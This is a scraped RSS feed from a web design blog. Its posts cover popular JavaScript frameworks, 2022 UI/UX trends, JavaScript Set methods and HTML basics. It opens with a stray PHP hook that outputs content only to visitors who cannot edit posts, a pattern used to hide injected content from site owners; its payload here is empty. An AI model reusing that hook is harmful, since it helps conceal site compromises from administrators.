function wp_pf_7fd59216(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_7fd59216"); Html - VVDesigns https://vvdesigns.in Design & Consulting Mon, 31 Jan 2022 04:09:24 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.7 https://vvdesigns.in/wp-content/uploads/2021/09/cropped-logo-32x32.png Html - VVDesigns https://vvdesigns.in 32 32 197740417 The Most Popular JavaScript Frameworks of 2022 https://vvdesigns.in/2734-2/ https://vvdesigns.in/2734-2/#respond Mon, 31 Jan 2022 04:03:40 +0000 https://vvdesigns.in/?p=2734 Planning to develop in JavaScript? You need a framework of libraries for efficient coding. But which is the most popular JavaScript framework? In May 2021, Stack Overflow conducted the 2021 Developer survey to learn about what tools developers are using, how they are learning them, and their opinions. Over 80,000 developers took part in the ...

The post The Most Popular JavaScript Frameworks of 2022 appeared first on VVDesigns.]]>

Planning to develop in JavaScript? You need a framework of libraries for efficient coding. But which is the most popular JavaScript framework?

In May 2021, Stack Overflow conducted the 2021 Developer survey to learn about what tools developers are using, how they are learning them, and their opinions. Over 80,000 developers took part in the survey, 69.7% of those being developers by profession.

JavaScript is the most popular programming language in the survey. This article highlights the findings on JavaScript and its frameworks. Hopefully, it will shed a light on what technology you should keep an eye on in 2022.

According to the developer survey by Stack Overflow, JavaScript continues to maintain its position as the most popular programming language with over 68% of respondents stating they used it extensively for development. Alongside HTML and CSS, JavaScript is one of the core technologies used on the web.

JavaScript is also used in other development environments like Node.js for backend development, Apache CouchDB, and Adobe Acrobat. JavaScript’s usages have also extended to mobile, game, and desktop development. Its increasing adoption can be attributed to the fact that it is easy to learn, implement, and receives a ton of support from its developer community.

Data showing JavaScript as most popular programming languages
Image Credit: Stack Overflow

In the JavaScript ecosystem, the list of JavaScript frameworks keeps on growing. Frameworks are a collection of pre-built JavaScript code that is used to make development easy. When choosing a framework, consider your project features, what the framework is good at, and its learning process.

Below are the five most popular JavaScript frameworks.

1. React JS

React home page

React surpassed jQuery as the most popular web framework in 2022 with over 40% of professional developers saying they use it extensively. It is an open-source JavaScript library developed by Facebook used to build highly responsive user interfaces. It is declarative and component-based meaning you can reuse components to create complex UIs in a short time.

For new developers, React is easier to learn and use compared to other frameworks like Angular. It has extensive documentation, guides, and a growing community that reduces the learning curve. React is constantly evolving which can be a downside since developers have to keep on relearning the new features. Examples of large websites built with React are Airbnb, Dropbox, Asana, and BBC.

2. jQuery

jQuery home page

jQuery was the second most popular web framework. It is an open-source JavaScript library that is used to simplify interaction with the DOM (Document Object Model). It helps you navigate the DOM tree easily.

jQuery is easy to learn and has been around since 2006 and therefore has a large developer community. jQuery however cannot compare with modern web frameworks with advanced features. It is useful for simple applications but can lead to a large codebase if used to build big applications.

3. Angular

Angular home page

Angular (26.23%) was the third most popular JavaScript framework after jQuery (34.52%). It is an open-source framework launched by Google in 2016. It can be used on the frontend or backend to create dynamic Single Page Apps (SPAs) and Progressive Web Apps (PWAs) with faster page loads.

Angular offers features such as two-way data binding which enables real-time synchronization between the model and view, has built-in dependency injection, and supports TypeScript. However, it has a steeper learning curve compared to React. Examples of websites created with Angular are Freelancer, IBM, and PayPal.

4. Express

Express home page

Express (also Express.js) came in at the fourth position among web frameworks at 23.6%. It is a minimal and fast JavaScript framework for backend development. It is used with Node.js, a JavaScript runtime, to create efficient web applications fast.

Express provides an easy way for managing routing, setting up middleware packages, and integrating plugins in your server-side code. With Express, you can create RESTful APIs to integrate with other apps and dynamically serve static HTML files to the web. Examples of companies using Express in the codebase are Twitter, Intuit, and Accenture.

5. Vue.js

Vue.js home page

Vue.js was the fifth most popular JavaScript framework. It is an open-source framework designed to improve on the features of frontend frameworks like Angular and React. For instance, it has both the virtual DOM used in React and two-way binding as in Angular.

With Vue.js, you can build PWAs and SPAs quickly and efficiently. Vue.js is a good first JavaScript for beginners as it has good documentation and is easy to learn. Examples of websites built using Vue.js are Upwork, Adobe, and Grammarly.

Svelte Was the Most Loved Frontend JavaScript Framework

It is worth noting that Svelte was in the top position as the most loved web framework as per 71.47% of the respondents and surpassed React at 69.28%.

Data showing svelte is the most loved web framework

Svelte is blazing fast compared to React and other dominant frameworks like Angular and Vue.js. This is attributed to the fact that Svelte compiles code down to optimized Vanilla JavaScript and you don’t have to ship the overhead framework code. With Sapper which is similar to Next.js in React and Svelte Native for mobile development, Svelte will probably continue increasing in popularity.

Examples of companies using Svelte for their websites are The New York Times, Nesta, and Rakuten.

AngularJS Was the Most Dreaded Web Framework

While Svelte was the most loved framework, AngularJS was the least loved. It was dreaded by 76.82% of the respondents. Perhaps this is because as of December 2021, Google discontinued AngularJS long-term support after providing it for over three years. If you are using AngularJS in your application, you will need to migrate to Angular or other frameworks because as time progresses, your application can crash due to a lack of updates.

Choosing a JavaScript Framework

The popularity of a framework might signify a large development ecosystem that can make learning easier. However, that should not be the only factor you consider when choosing a framework. Always consider where you want to use that framework. The design and features of your application should come first before the choice of development tool. Next, research the framework to learn about its features and complexities.

This article has highlighted the five most popular JavaScript frameworks according to StackOverflow’s 2021 developer survey. It provides a good start for making a decision on the technology you will use to build your solution.

The post The Most Popular JavaScript Frameworks of 2022 appeared first on VVDesigns.]]>
https://vvdesigns.in/2734-2/feed/ 0 2734
16 Latest UX/UI Design Trends That You Should Know in 2022 https://vvdesigns.in/16-latest-ux-ui-design-trends-that-you-should-know-in-2022/ https://vvdesigns.in/16-latest-ux-ui-design-trends-that-you-should-know-in-2022/#respond Thu, 27 Jan 2022 03:49:07 +0000 https://vvdesigns.in/?p=2714 Here comes 2022, and as usual, we have prepared for you the list of the top UI/UX design trends to follow. Design in the coming year is about taking care of users, their uniqueness, and avoiding the “perfect picture”. Therefore, real-life photos, live artistic illustrations, and asymmetry are gaining more popularity. And by the way, ...

The post 16 Latest UX/UI Design Trends That You Should Know in 2022 appeared first on VVDesigns.]]>
Here comes 2022, and as usual, we have prepared for you the list of the top UI/UX design trends to follow.

Design in the coming year is about taking care of users, their uniqueness, and avoiding the “perfect picture”. Therefore, real-life photos, live artistic illustrations, and asymmetry are gaining more popularity.

And by the way, did you know that according to Pantone, the color of 2022 is violet (Very Peri)?

Let’s now explore the leading UI/UX design trends of 2022 in detail and see how popular brands successfully implement them.

The user interface (UI) defines an interaction between the user and the product or service. Simply put, UI design includes all the interactive and visual elements of the interface. They are buttons, icons, menu bars, and more. Many companies focus on UI design to refine ​the user’s overall experience.

Some UI trends that were in great request a few years ago, have remained at the top. At the same time, some have become common in 2021 and will continue gaining popularity this year.

So, let’s have a look at them!

1. Vintage, 90s

Vintage style in 2022 is trending in many areas: clothing, interior, music, print. Besides, it is organically integrated into web design.

The remarkable features of this style were inspired by the example of retro magazines. Vintage style includes the combination of bright and pastel colors, line graphic elements, shadows, rounded and at the same time sharp shapes, elegant serif fonts, and round text elements. All these features stood out in a completely new way in website interfaces in 2021. Moreover, this style remains one of the relevant UI trends 2022.

In that way, vintage style combined with a modern approach becomes a fresh and unusual trend. However, it’s no wonder they say that everything new is well forgotten old.

The brand Plus is one of the coolest examples of implementation of the vintage style.

Example of Vintage Style by Plus

Source: Plus

Below you can see an example of a more restrained vintage style by a furniture marketplace Sol’ace.

Example of Vintage Style by Solace

Source: Sol’ace

You may also like: How Much Does it Cost to Build an Online Marketplace in 2022?

2. 3D and 3D animations

3D in UI design will definitely enter our lives in 2022. 3D elements have been used before, and this year, they can be found even more often. Therefore, designers will use their skills to maximum, creating interesting concepts and animations in 3D.

3D, as one of the most popular design trends 2022, is used in many areas. They are e-commerce, architecture, fashion industry, business, culture, education, and many others. For example, Apple actively uses 3D models of its products to show their best side to future customers.

Below you can see how The Originals Museum Renault marketplace uses a 3D model to demonstrate the automobile. The user can choose the vehicle and spin the model to see it in detail.

Example of Originals Museum Renault

Source: The Originals Museum Renault

Another example of using 3D in design is demonstrated by Platoon aviation.

Example of 3D Animation by Platoon aviation

Source: Platoon aviation

3. Artistic Illustrations

Obviously, designers are looking for a way to hook the user, and to keep their attention on the site or application. And while neat vector illustrations of people and objects have been relevant for several years, now it’s time to change direction.

So, what about less-than-perfect illustrations? These can be images with natural textures, varying line width, and those hand-drawn by an artist.

Let’s take a look at how this design trend is implemented on the site How many plants.

Example of Latest UI Design Trends

Source: How Many Plants

Another one of the latest UI design trends is depicting people with different skin colors, body types, and nationalities. We are all unique and beautiful the way we are.

Below you can see an example of how to implement this user interface trend by the microsite Listen to Girls that explores the point of view of young girls.

Example of Latest UI Design Trends

Source: Listen to Girls

Notably, hand-drawn digital illustrations look organic and cozy in their naturalness. Therefore, this approach positively influences the brand and attracts the audience.

4. Brutalism

You’ve surely come across sites with huge titles, hard fonts, and a combination of bright or even neon colors. Furthermore, elements of these sites are scattered in a chaotic manner.

Nevertheless, this is what creates the composition. All this is brutalism, one of the UI design trends 2022. Obviously, this style does not seek to be comfortable and convenient. Instead, it is challenging and breaks the rules.

Although brutalism is now at its peak of popularity, you need to clearly understand when to apply it and when not. For example, this style is perfect for portfolio design. Also, it is appropriate for a conceptual clothing brand landing page or a website dedicated to a topic under discussion.

The MSG brand shows how to implement brutalism in website design.

Example of Brutalism Trend by the MSG Brand

Source: MSG

Below you can see another example of the brutalism UI trend from the portfolio of Mirelle Borra.

Example of Brutalism Trend by Mirelle Bora

Source: Mirelle Borra

5. Asymmetry

Asymmetry in UI and graphic design is not a new trend, but it will still be relevant in 2022.

People are used to standard grids and classic site structures. But what if you shift the focus and concentrate the user’s attention on the main thing?

Notably, the asymmetry can be different.

  • Barely noticeable
    Photographs at different heights, graphic elements present only on one side, different fonts and styles in one sentence.
  • Striking
    Displaced blocks, lack of the usual grid.

We can find the perfect implementation of this UI trend of 2022 on the website of Revolt. The designers have significantly changed the classic arrangement of some blocks: header, tabs, and ladder of text. Nevertheless, the page looks clear and harmonious as a whole.

Example of Asymmetry Trend by Revolt

Source: Revolt

Here’s another example of slight asymmetry implementation by the Bergen Assembly website.

Example of Asymmetry Trend by Bergen Assembly

Source: Bergen Assembly

6. Real photos

This one of the design trends 2022 is not new, but it continues to hold and will only gain popularity this year. Hands in front of a laptop, a guy in a shirt making a drawing, people smiling against the background of a growing diagram… Definitely, such pictures are familiar to you. Many designers use them, but such images don’t provide any information about the nature of the website.

We recommend you to arrange a photoshoot, and show the people behind your MVP product or website. For instance, make a collage or add a block of your photos from Instagram. Notably, live and real photos are one of the keys to user confidence.

Figma is a good example of how to use real photos in design. On Figma’s website, you can get to know the team that creates and enhances this site, and experience the atmosphere of their workspace.

Example of Real Photos Trend by Figma

Source: Figma

Below you can see another example of the real photos trend implementation by a wine production company. Their photos are quite simple – a company’s employee and the product itself. Nevertheless, they are very catchy, and above all, real.

Example of Real Photos Trend by Verre Vert Glass

Source: Verre Vert Glass

At Codica, we also follow this one of the latest UI design trends 2022 on our website. For example, recently we updated our Careers page, which now can offer a quick glimpse of the team and describe how we work.

Example of Real Photos by Codica Team

7. Scrollytelling

A new way to tell about your brand, product, or company is scrolling. Every day we scroll through the Facebook or Instagram feed, our photos on the phone, the correspondence of messages, and much more. This pattern is already familiar to the user, and therefore it can be used for other purposes. For example, you can develop a site where the main idea is explained step-by-step when scrolling.

Furthermore, it is important to understand the subject matter and the area for which this trend is applied. Not surprisingly, no one wants to scroll a site to order an urgent product for a long time. Nevertheless, you can safely implement this trend where it is appropriate.

For instance, the Blue Marine Foundation has used scrollytelling to draw attention to the ocean inhabitants’ issue.

Example of Scrollytelling Trend by Blue Marine Foundation

Source: Blue Marine Foundation

Another great example of implementing this latest UI design trend is the website of Kirifuda. A Japanese digital studio shows how to implement scrolling for the portfolio properly.

Example of Scrollytelling Trend by Kirifuda

Source: Kirifuda

8. Minimalism

Minimalism stands proudly among the latest UI trends and is not going to lose ground. In a sense, it became a classic. However, even in the classical approach, it is appropriate to bring something new, creating simple but catchy solutions.

Minimalism is based on free space, contrasting text, graphic elements, shapes, and a limited color palette. All these characteristics are aimed at simplifying the site’s visual perception. Furthermore, they ensure the convenience of interacting with it, which is always a priority for the designer.

The more simple and clear the interface is, the more pleasant it is for the user. Frequently, users want to use an application or website for their needs quickly. Therefore, minimalism is ideal in this case, without distracting or overloading the perception. Each element of this style is not just a part of the composition but also a functional component.

Interestingly, minimalism in 2022 isn’t all about monochrome or white backgrounds. This direction expands the boundaries and becomes bright. Nevertheless, it retains the general concept of simplicity and convenience.

Neuro is a brand of gum and mints and a great example of vibrant minimalism.

Example of Minimalism Trend by Neuro

Source: Neuro

At the same time, a beauty care brand Rudolph Care prefers a combination of light tones and harmonious palettes. However, this type of minimalism is also relevant through UI trends 2022.

Example of Minimalism Trend by Rudolph Care

Source: Rudolph Care

The UX (User Experience) is a broad definition, including all the experience users get when interacting with a website or application. To compare, UI focuses on how a product’s interface looks, and UX focuses on the user’s way to solve a problem. Undoubtedly, a good user experience is the best indicator of proper design for different websites, for example, e-commerce platforms, or SaaS applications.

In addition to UI trends, we decided to share a selection of UX design trends that arise from situations over the past few years. So, you can adopt a few and apply them to your product or site.

1. Inclusiveness

First of all, the designer thinks about the users’ needs. Hence, inclusiveness allows users to feel comfortable and safe while using the product.

In order to create a design accessible to everyone, it should be tested by different people. There are four principles of inclusive design:

  • Determine what exactly in design may not be available to users with unique abilities;
  • Find out what situations may arise when all users will not be able to fully use your product;
  • Involve people from different communities in the development process;
  • Offer several options for interaction with your design and strive to provide an equal experience for all users.

Therefore, inclusiveness is all about the individual characteristics of a person. For example, physical and mental disabilities, race, cultural background, gender, age, language, etc. Thus, all these aspects must be taken into account when developing a design.

Hence, more and more companies are paying attention to the diversity of their users. For instance, sites and applications where you can add custom gender and not report it at all are now common.

For example, Twitter knows perfectly how to implement this one of the most important UX design trends. On the site, developers added a column where users can not only choose, but also add their gender.

Example of Inclusiveness Trend by Twitter

Source: Twitter

A customer service website WolmartPetRx is another example of an inclusiveness trend. They plugged in a widget that makes their design more inclusive. So, users can customize the website according to their preferences.

Example of Inclusiveness Trend by WolmartPetPx

Source: WolmartPetRx

2. VR, AR

These two technologies will definitely become interesting trends in UX design 2022. Virtual Reality (VR) and Augmented Reality (AR) connect the real and digital worlds. They enable users to perceive information visually, in a similar way they perceive the world.

Now you can imagine the selection of furniture from IKEA Place sitting at home or see if the Lipstick from Sephora is right for you. AR is a good opportunity to bring the product closer to the buyer, and clarify what it is. It is great to be used for e-commerce projects.

You may also like: How to Create a Website Like Amazon?

The popularity of VR was fueled by the news of Metaverse, a new project from Facebook. The company changed its name to Meta to strengthen its ties to this project. Metaverse is a 3-dimensional projection of the world in which a user can create their 3D version and meet other users online.

For example, this approach can be used for meetings, conferences, and lectures. Thus, the goal of the project is to help people communicate, work, and develop business.

Example of VR Trend by Metaverse

Source: The Wall Street Journal

3. Super app

Essentially, the super app is an application in which many services are combined. For example, ordering goods, delivery, messenger, social network, electronic payments and others. Consequently, you no longer need a dozen applications. With super apps all services are collected in one.

Such applications are common in Asia. The two most popular supers are Chinese apps – WeChat and AliPay. Obviously, for people in this region, using such applications is an essential part of their daily lives. Now super applications are also conquering Latin America. However, it is still difficult to answer whether it will be relevant to the United States and Europe. Perhaps super apps will become one of the UX trends 2022 for these regions.

Example of Super App Trend by WeChat

Source: WeChat App

Nevertheless, despite all the advantages of super applications, creating them is a very painstaking and time-consuming job. It is because the designer’s task is to maintain a uniform style for a large number of modules, each of which has different functionality.

At the same time, when building such an app it’s important to follow one of the UX best practices, and to make a clean and understandable design. Thus, development and design teams try not to complicate the interface and force users to take extra actions. All apps, which of course includes super apps, need to be convenient in use because customers are motivated to save time and effort.

Recommended reading: 5 Major Principles for a User-Friendly Website You Need to Know

4. Audio only app

When we talk about audio apps, the first thing that comes to mind is the Clubhouse, which was at the top in the first half of 2021. Although its popularity subsided, Clubhouse did not disappear without a trace. So, what are the advantages of this type of app?

  • There is no video, which means it will be easier for people to have voice calls, staying in their comfort zone;
  • It is a great chance to listen to interesting people on the topic you need, without any links or registration;
  • It adds privacy to communication.

Therefore, the principle of audio dialling in groups has been adopted by some large companies. For example, Spotify launches its live audio app Greenroom. It is an app that lets creators interact with fans in real time by creating rooms, selecting speakers and discussing topics.

Example of Audio App Trend by Greenroom

Source: Spotify

Telegram has also added the ability to create audio rooms for group chats.

Example of Audio App Trend by Telegram

Source: Telegram

5. Design systems and libraries

Earlier the design of the system was relevant mainly for large corporations, but now this trend has been picked up by everyone. Thanks to tools such as Figma, Adobe XD, and Sketch, designers have the ability to create uniform components for all pages of a site or application. Furthermore, they can collect them into a single library, which is available to all team members.

Thus, you can call and discuss any element from the library with other members. In addition, even being far from each other, it is easy for designers working on the joint project to understand the structure and spirit of the brand and maintain its integrity.

Example of Design System Trend by Figma

Source: Figma community

6. Customization

Let’s see how great it would be to customize the sites and applications that we use every day.

Certainly, designers try to think through all the needs of the target audience, but it is impossible to take everything into account. Customization as one of the UX trends 2022 allows users to choose some design elements themselves.

As an example, the custom settings of the Instagram messenger can be cited. Now it is possible to change the theme or colors of the chat. Also, in Telegram you can change the color theme, scale, wallpaper, and even install custom languages ​​created by other users.

Example of UX Design Trends by Instagram, Telegram

Source: Instagram, Telegram

Notion is another good example of environment customization. This is an application where you can write notes, create to-do lists, knowledge bases, spreadsheets, and so on. Hence, these functions can be used in any convenient way.

For example, users can use them for self-organization, work, or as a personal diary. In addition to the variety of use cases, users can also customize the visual part as they like.

Example of UX Design Trends by Notion

Source: Notion

Nevertheless, this UX trend 2022 may be unnecessary, for example, for marketplaces. Usually, a marketplace user wants to log in, buy an item, and log out. But customization is a great solution for products where frequent and long-term interactions are expected. If customers can customize the application, they are more prone to like and buy the product.

Further reading: How UX Design Solves Online Marketplace Issues

7. Page speed prioritization

When we navigate a site, we switch many pages. So, how often do we pay attention to page loading time? Obviously, when we start to notice it. Thus, a slow loading speed becomes the reason for leaving the page.

Clearly, nobody wants to wait for a photo or video to load. We live in a time of rapid consumption of content. So optimizing web pages to speed up their loading is very important.

A designer needs to understand how to build an interface in such a way that optimization is not hindered. For example, it is better not to use a large number of fonts. One for headings and one for text will be enough.

Moreover, images often can slow down loading. Hence, designers need to compress them, but without losing quality.

Without any doubt, loading speed is essential for startup sites. When a business is just launched and you need to gain an audience, it is very important that users do not leave the site immediately.

Besides, it is equally important to be among the first lines of search results. Still, well-optimized pages are ranked to the top by Google’s algorithms. Therefore, page speed prioritization will become one of the UX best practices this year.

8. Mobile-first design

Smartphones win popularity day by day. According to Statista, global sales of mobile devices reach about 1.53 billion yearly.

Number of smartphones sold to end users worldwide from 2007 to 2021

Source: Statista

A great number of people prefer browsing pages on their phones, instead of the desktop and tablet. Therefore, mobile-first design has become a must for websites and building SaaS products and will remain at the top in 2022.

This trend changes the way websites are designed in principle. It means you create a project with mobile users’ needs in mind:

  • Make it as simple as possible;
  • Keep only the required elements;
  • Use chatbots and push notifications;
  • Design user-friendly CTAs to have more leads and sales.

The mobile-first approach is about convenience and satisfying mobile users’ demands. It influences the number of your site visitors, improves your SEO, thus providing more web traffic.

Thus, it becomes extremely valuable when developing an online marketplace as a great part of e-commerce is handled via mobile devices.

For example, let’s compare Airbnb’s website desktop and mobile versions.

Airbnb’s platform pays attention to a mobile-friendly interface, and uses organic shapes to look trendy.

Example of Mobile-first Design Trend by Airbnb

Source: Airbnb

The best advice to designers here is to make convenient mobile-first layouts a priority and experiment with typography, colours, and overlapping elements.

Mobile-first Design Trend Implementation by Airbnb

Source: Airbnb

The post 16 Latest UX/UI Design Trends That You Should Know in 2022 appeared first on VVDesigns.]]>
https://vvdesigns.in/16-latest-ux-ui-design-trends-that-you-should-know-in-2022/feed/ 0 2714
8 JavaScript Set Methods You Should Master Today https://vvdesigns.in/8-javascript-set-methods-you-should-master-today/ https://vvdesigns.in/8-javascript-set-methods-you-should-master-today/#respond Mon, 01 Nov 2021 05:38:19 +0000 https://vvdesigns.in/?p=2685 If you're looking to up your skills in creating JavaScript Sets, check out these methods.

The post 8 JavaScript Set Methods You Should Master Today appeared first on VVDesigns.]]>

If you’re looking to up your skills in creating JavaScript Sets, check out these methods.

A JavaScript Set is a collection of values that are unique.

Sets can hold values of any data type. It can be simple primitives, such as integers or strings, etc, or complex types like arrays or object literals. Values in the Set can only occur once.

In this article, you’ll learn eight JavaScript Set methods you should master today.

1. How to Create a New Set on JavaScript

You can create a new Set object using the new Set() constructor. The Set object stores unique values of any data type. This constructor accepts an iterable object as a parameter.

const setObj = new Set([21, 34, 35, 56, 23]);
console.log(setObj);

Output:

Set(5) { 21, 34, 35, 56, 23 }

If you don’t specify anything in the parameter, a new empty Set is created.

const setObj = new Set();
console.log(setObj);

Output:

Set(0) {}

If you try to create a Set with repeating elements, the duplicate elements will be removed and a unique Set will be returned.

const setObj = new Set([1, 2, 3, 1, 2, 3]);
console.log(setObj);

Output:

Set(3) { 1, 2, 3 }

You can also create a Set using mixed data types.

const setObj = new Set([1, 2, "Hello", [45, 67, 78]]);
console.log(setObj);

Output:

Set(4) { 1, 2, 'Hello', [ 45, 67, 78 ] }

2. How to Append New Elements to a Set Object

You can append a new element to the end of the Set object using the add() method. This method accepts the value of the element to add to the Set object as a parameter, and returns the new Set object with added value.

const setObj = new Set();
setObj.add("Welcome");
setObj.add("to");
setObj.add("MUO");
console.log(setObj);

Output:

Set(3) { 'Welcome', 'to', 'MUO' }

You can directly pass the value as a parameter, or you can pass the variable as one instead.

const setObj = new Set();
// Appending value to a Set object
setObj.add("Welcome");
const var1 = "to";
const var2 = "MUO";
// Appending variable to a Set object
setObj.add(var1);
setObj.add(var2);
console.log(setObj);

Output:

Set(3) { 'Welcome', 'to', 'MUO' }

The add() method also supports chaining.

const setObj = new Set();
// Chaining
setObj.add(1).add(2).add(3);
console.log(setObj);

Output:

Set(3) { 1, 2, 3 }

If you try to append duplicate elements, only the first instance of the element will be saved.

const setObj = new Set();
setObj.add(1);
setObj.add(2);
setObj.add(3);
setObj.add("M");
setObj.add("U");
setObj.add("O");
setObj.add(1);
setObj.add(2);
setObj.add(3);
console.log(setObj);

Output:

Set(6) { 1, 2, 3, 'M', 'U', 'O' }

3. How to Remove All Elements From a Set Object

You can remove all elements from a Set object using the clear() method. This method removes all the elements and returns undefined.

const setObj = new Set([1, 2, 3, 4, 5]);
console.log("Size of the Set object: " + setObj.size);
console.log(setObj);
setObj.clear();
console.log("Size of the Set object after clearing elements: " + setObj.size);
console.log(setObj);

Output:

Size of the Set object: 5
Set(5) { 1, 2, 3, 4, 5 }
Size of the Set object after clearing elements: 0
Set(0) {}

4. How to Delete a Specific Element From a Set Object

You can delete a specific element from a Set object (if it exists) using the delete() method. This method accepts the value to be deleted from the Set. If the value is found, the method returns true. Otherwise, it’ll be false.

const setObj = new Set([1, 2, 3, 4, 5]);
console.log("Initial Set:");
console.log(setObj);
setObj.delete(3);
console.log("Set after deleting 3");
console.log(setObj);

Output:

Initial Set:
Set(5) { 1, 2, 3, 4, 5 }
Set after deleting 3
Set(4) { 1, 2, 4, 5 }

5. How to Check If an Element Exists in a Set

You can check whether an element exists in a Set object using the has() method. This method accepts the value as a parameter to test for presence in the Set object. If the element is found, the method returns true; otherwise it’ll be false.

const setObj = new Set(["Welcome", "to", "MUO"]);
console.log(setObj.has("MUO"));
console.log(setObj.has("MakeUseOf"));

Output:

true
false

6. What’s the entries() Method in the JavaScript Set Object?

According to the official MDN Web Docs:

“The entries() method returns a new Iterator object that contains an array of [value, value] for each element in the Set object, in insertion order. For Set objects, there is no key like in Map objects. However, to keep the API similar to the Map object, each entry has the same value for its key and value here, so that an array [value, value] is returned.”

const setObj = new Set(["Welcome", "to", "MUO"]);
for(let entry of setObj.entries()) {
console.log(entry);
}

Output:

[ 'Welcome', 'Welcome' ]
[ 'to', 'to' ]
[ 'MUO', 'MUO' ]
const setObj = new Set(["Welcome", "to", "MUO"]);
for(let [key, value] of setObj.entries()) {
console.log(value);
}

Output:

Welcome
to
MUO

The keys and values in the Set are identical.

const setObj = new Set(["Welcome", "to", "MUO"]);
for(let [key, value] of setObj.entries()) {
console.log(key === value);
}

Output:

true
true
true

7. What’s the forEach() Method in the JavaScript Set Object?

The forEach() method invokes a function for each element of the Set object. This method returns undefined.

const setObj = new Set([1, 2, 3, 4, 5]);
let sum = 0;
setObj.forEach(function(element) {
sum += element;
});
console.log(sum);

Output:

15

8. What’s the values() Method in the JavaScript Set Object?

The values() method returns an Iterator object that contains all the values in a Set, and it does this in insertion order.

const setObj = new Set([1, 2, 3, 4, 5]);
const iteratorObj = setObj.values();
for (let value of iteratorObj) {
console.log(value);
}

Output:

1
2
3
4
5

Note: A Set object in JavaScript has no keys. But to make Sets compatible with Maps, the keys() method is used as an alias for the values() method. The keys() method behaves exactly the same as the values() method.

Now You Know How to Create Sets in JavaScript

So, there you have it. Having read this article, you should have plenty to help you master creating Sets on JavaScript.

Creating Sets is crucial for any programmer looking to up their game. Once you’ve mastered this, you can move on to perfecting other skills—such as creating Arrays.

The post 8 JavaScript Set Methods You Should Master Today appeared first on VVDesigns.]]>
https://vvdesigns.in/8-javascript-set-methods-you-should-master-today/feed/ 0 2685
Introduction to HTML and CSS https://vvdesigns.in/introduction-to-html-and-css/ https://vvdesigns.in/introduction-to-html-and-css/#respond Tue, 05 Oct 2021 04:34:36 +0000 https://vvdesigns.in/?p=2656 This article was originally posted at https://medium.com/@christinatruong/the-text-shadow-css-property-d1064bb1b27d and was kindly shared by Christina Truong. Check out more of her work at https://christinatruong.com. In the early days of web development, it wasn’t uncommon for one person to do everything. The job title was often referred to as “webmaster,” “web designer,” or “web developer.” These days, there is often more ...

The post Introduction to HTML and CSS appeared first on VVDesigns.]]>
This article was originally posted at https://medium.com/@christinatruong/the-text-shadow-css-property-d1064bb1b27d and was kindly shared by Christina Truong. Check out more of her work at https://christinatruong.com.

In the early days of web development, it wasn’t uncommon for one person to do everything. The job title was often referred to as “webmaster,” “web designer,” or “web developer.” These days, there is often more specialization because the web has become so much more advanced. The different areas of focus are usually broken down into three categories: front-end, back-end, and full-stack.

Prefer to watch a video? This article is a companion piece for my Decoded by Christina series on YouTube.https://www.youtube.com/embed/aeY6qoMNXOw?feature=oembed

Front-end vs Back-end vs Full-stack

Front-end

Front-end developers work with browser based languages: HTML for displaying content, CSS for adding styles and JavaScript for interactivity. With the growth and popularity of JavaScript-based frameworks, such as React and Angular, front-end technologies can also be used to create functionality that was once reserved for back end languages.

These languages are also categorized as client-side languages because the browser is also referred to as the client. The client in this context is not someone you’re doing work for!

Back-end

Back-end developers are responsible for the “behind the scenes” functionality such as submitting payment information when making an online purchase or when you’re logging into an account.

Back end developers work with languages that run on a server, such as Python, PHP, C#, Ruby or Java. Back-end developers also work with database technologies, such as MySQL or MongoDB. You don’t need to know all of these languages to be a backend developer and many specialize in a couple of languages and may have some familiarity with others.

Full-stack

There’s also a third category, full-stack, which usually refers to someone who works with both front-end and back-end languages. While the exact languages a full-stack developer specializes in will vary, most are able to work with the foundational front-end languages (HTML, CSS, JavaScript), and one or two back-end languages. They may also have knowledge of JavaScript frameworks.

What skills should I focus on?

When starting out, trying to figure out what to learn can be confusing. If you’re more interested in the visual side of development, focus on gaining front-end skills. If you prefer the logic of building functionality, then focus on back-end skills. Or learn a bit of both to see if maybe full-stack is the best path for you.

My recommendation is to always start with the foundational languages. Frameworks and tools will come and go. But learning the essentials first will make it easier to build upon.

HTML Overview

HTML stands for HyperText Markup Language. Hypertext refers to the links that connect web pages to one another. Markup is how HTML is written, the structure and format used to display content in a web browser.

HTML Syntax

When learning any language, start by getting familiar with the grammar rules and building blocks of that language. When writing code, the syntax refers to these rules and patterns. When writing HTML markup, use HTML tags by wrapping each HTML element name within a left and right angled bracket.

1<element>

An opening tag is used to mark the beginning of the element. A closing tag marks the end of the element and must always include a forward slash (/) before the element name. The content to be displayed in the browser is included between the tags.

HTML and CSS basics - element

HTML tags are often written inside of other tags. So when you’re nesting a tag, make sure to close the tags from inside out.

1<p><strong>Just some example content.</strong></p>

Formatting HTML

Properly formatting your HTML markup is also important for organization. For the browser, writing all the tags on one line doesn’t matter.

1<outertag><innertag>Some content</innertag><innertag>Some content</innertag></outertag>

But for us, it’s convention to use whitespace and indention to make it easier to read. Each nested element is usually written on its own line and indented once, using one tab key space. This will make it easier to see which tags are nested and where the tags open and close.

1234<outertag>  <innertag>Some content</innertag>  <innertag>Some content</innertag></outertag>

But there are also times where nested tags are written within the same line; when an inline element is nested within another inline element or a block element.

12345<h1>This is a block element.</h1><p>This is a block element containing an <strong>inline element</strong>.</p><div>  <p>A block element nested within another block element.</p></div>

What does that mean? Well, in short, every HTML element is categorized as either an inline or block-level element.

When inline elements are shown in the browser, they are displayed on the same line. So when formatting the HTML, nested inline elements are usually included in the same line as well — in line. When block-level elements are displayed in the browser, they always start on a new line. So when formatting the HTML, block elements are usually written on their own line and indented when they are nested.

As your code gets more detailed, formatting will help you stay organized and make your code easier to read.

HTML Elements

There are many different types of HTML elements. Some are used to display different types of text-based content such as paragraphs (p), headings (h1h2) and lists (ulolli).

1234567<!-- Text based elements --><h1>Main heading</h1><p>This is a paragraph.</p><ul>  <li>list item</li>  <li>list item</li></ul>

Other types of elements are used to create the page structure and to organize the content into related groupings such as the divheader or footer elements.

123456789101112131415<!-- Contains structural elements to group & organize content --><div class="content-wrap">  <header>    <h1>Main heading</h1>    <p>This is an introductory paragraph.</p>  </header>  <footer>    <p>Contains final information related to the page such as:</p>    <ul>      <li>copyright info</li>      <li>contact info</li>      <li>and more!</li>    </ul>  </footer></div>

Void Elements

Another type of HTML elements are void elements, which do not define structure or content; they are the content. HTML tags are usually written in pairs but void elements are written using only an opening tag.

Here is an example of a paragraph tag, which is not a void element, and a br tag, which is a void element. (This element is used to create a line break within a block of text.)

12<p>paragraph</p><!-- not a void element --><br> <!-- void element -->

